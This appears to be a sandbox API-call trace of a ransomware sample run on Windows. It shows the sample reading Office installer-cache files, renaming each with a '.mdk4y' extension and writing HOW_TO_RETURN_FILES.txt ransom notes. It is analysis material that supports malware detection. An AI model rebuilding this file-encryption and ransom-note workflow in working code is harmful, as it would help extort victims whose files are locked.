[0078.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pø\x08k", lpUsedDefaultChar=0x37df4c) returned 1 [0078.984] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0078.984] AreFileApisANSI () returned 1 [0078.984] GetACP () returned 0x4e4 [0078.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pø\x08k", lpUsedDefaultChar=0x37df4c) returned 2 [0078.984] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0078.984] AreFileApisANSI () returned 1 [0078.984] GetACP () returned 0x4e4 [0078.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.cabotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pø\x08k", lpUsedDefaultChar=0x37df4c) returned 9 [0078.984] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0078.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815421400000) returned 1 [0078.984] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0079.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815433000000) returned 1 [0079.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815433000000) returned 1 [0079.173] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.mdk4y")) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0079.173] AreFileApisANSI () returned 1 [0079.173] GetACP () returned 0x4e4 [0079.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x37df4c) returned 9 [0079.173] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0079.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815440400000) returned 1 [0079.174] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7200, lpOverlapped=0x0) returned 1 [0079.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815445700000) returned 1 [0079.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815445700000) returned 1 [0079.234] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.mdk4y")) returned 1 [0079.236] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0079.236] AreFileApisANSI () returned 1 [0079.236] GetACP () returned 0x4e4 [0079.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0079.236] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0079.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815446600000) returned 1 [0079.236] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b1, lpOverlapped=0x0) returned 1 [0079.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815448400000) returned 1 [0079.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815448400000) returned 1 [0079.255] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.mdk4y")) returned 1 [0079.255] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 0 [0079.255] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0079.255] AreFileApisANSI () returned 1 [0079.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0079.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0079.274] GetFileType (hFile=0x12c) returned 0x1 [0079.274] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0079.274] AreFileApisANSI () returned 1 [0079.274] GetACP () returned 0x4e4 [0079.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.fr", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Proof.fr", lpUsedDefaultChar=0x37dfd8) returned 8 [0079.275] AreFileApisANSI () returned 1 [0079.275] GetACP () returned 0x4e4 [0079.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=72, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\℈i\x01") returned 72 [0079.275] AreFileApisANSI () returned 1 [0079.275] GetACP () returned 0x4e4 [0079.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pø\x08k", lpUsedDefaultChar=0x37df4c) returned 1 [0079.275] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0079.275] AreFileApisANSI () returned 1 [0079.275] GetACP () returned 0x4e4 [0079.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pø\x08k", lpUsedDefaultChar=0x37df4c) returned 2 [0079.275] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0079.275] AreFileApisANSI () returned 1 [0079.275] GetACP () returned 0x4e4 [0079.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.cab", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.cabotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pø\x08k", lpUsedDefaultChar=0x37df4c) returned 9 [0079.275] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0079.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815450500000) returned 1 [0079.275] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0079.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815455600000) returned 1 [0079.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815455600000) returned 1 [0079.336] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.mdk4y")) returned 1 [0079.336] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0079.336] AreFileApisANSI () returned 1 [0079.336] GetACP () returned 0x4e4 [0079.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.msi", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.msi", lpUsedDefaultChar=0x37df4c) returned 9 [0079.337] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0079.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815456700000) returned 1 [0079.337] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd8400, lpOverlapped=0x0) returned 1 [0079.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815511700000) returned 1 [0079.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815511700000) returned 1 [0079.894] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.mdk4y")) returned 1 [0079.895] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 1 [0079.895] AreFileApisANSI () returned 1 [0079.895] GetACP () returned 0x4e4 [0079.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0079.895] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0079.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815512500000) returned 1 [0079.895] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b2, lpOverlapped=0x0) returned 1 [0080.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815614500000) returned 1 [0080.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1815614500000) returned 1 [0080.916] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.mdk4y")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b0b18 | out: lpFindFileData=0x6b0b18) returned 0 [0080.916] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0080.916] AreFileApisANSI () returned 1 [0080.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0080.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0080.918] GetFileType (hFile=0x12c) returned 0x1 [0080.918] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0080.918] AreFileApisANSI () returned 1 [0080.918] GetACP () returned 0x4e4 [0080.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proofing.msi", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Proofing.msi001B-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 12 [0080.919] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0080.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815614900000) returned 1 [0080.919] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd4200, lpOverlapped=0x0) returned 1 [0081.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815626700000) returned 1 [0081.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815626800000) returned 1 [0081.045] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.mdk4y")) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0081.045] AreFileApisANSI () returned 1 [0081.045] GetACP () returned 0x4e4 [0081.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proofing.xml", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Proofing.xml", lpUsedDefaultChar=0x37dfd8) returned 12 [0081.045] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815627600000) returned 1 [0081.046] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x32b, lpOverlapped=0x0) returned 1 [0081.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815651300000) returned 1 [0081.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815651300000) returned 1 [0081.284] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.mdk4y")) returned 1 [0081.284] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 1 [0081.284] AreFileApisANSI () returned 1 [0081.284] GetACP () returned 0x4e4 [0081.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlxml", lpUsedDefaultChar=0x37dfd8) returned 9 [0081.284] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815651400000) returned 1 [0081.284] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x16fc, lpOverlapped=0x0) returned 1 [0081.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815654100000) returned 1 [0081.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815654100000) returned 1 [0081.311] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0081.312] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6af688 | out: lpFindFileData=0x6af688) returned 0 [0081.312] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0081.312] AreFileApisANSI () returned 1 [0081.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0081.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0081.313] GetFileType (hFile=0x128) returned 0x1 [0081.314] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0081.314] AreFileApisANSI () returned 1 [0081.314] GetACP () returned 0x4e4 [0081.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0043-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0043-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0081.314] AreFileApisANSI () returned 1 [0081.314] GetACP () returned 0x4e4 [0081.314] 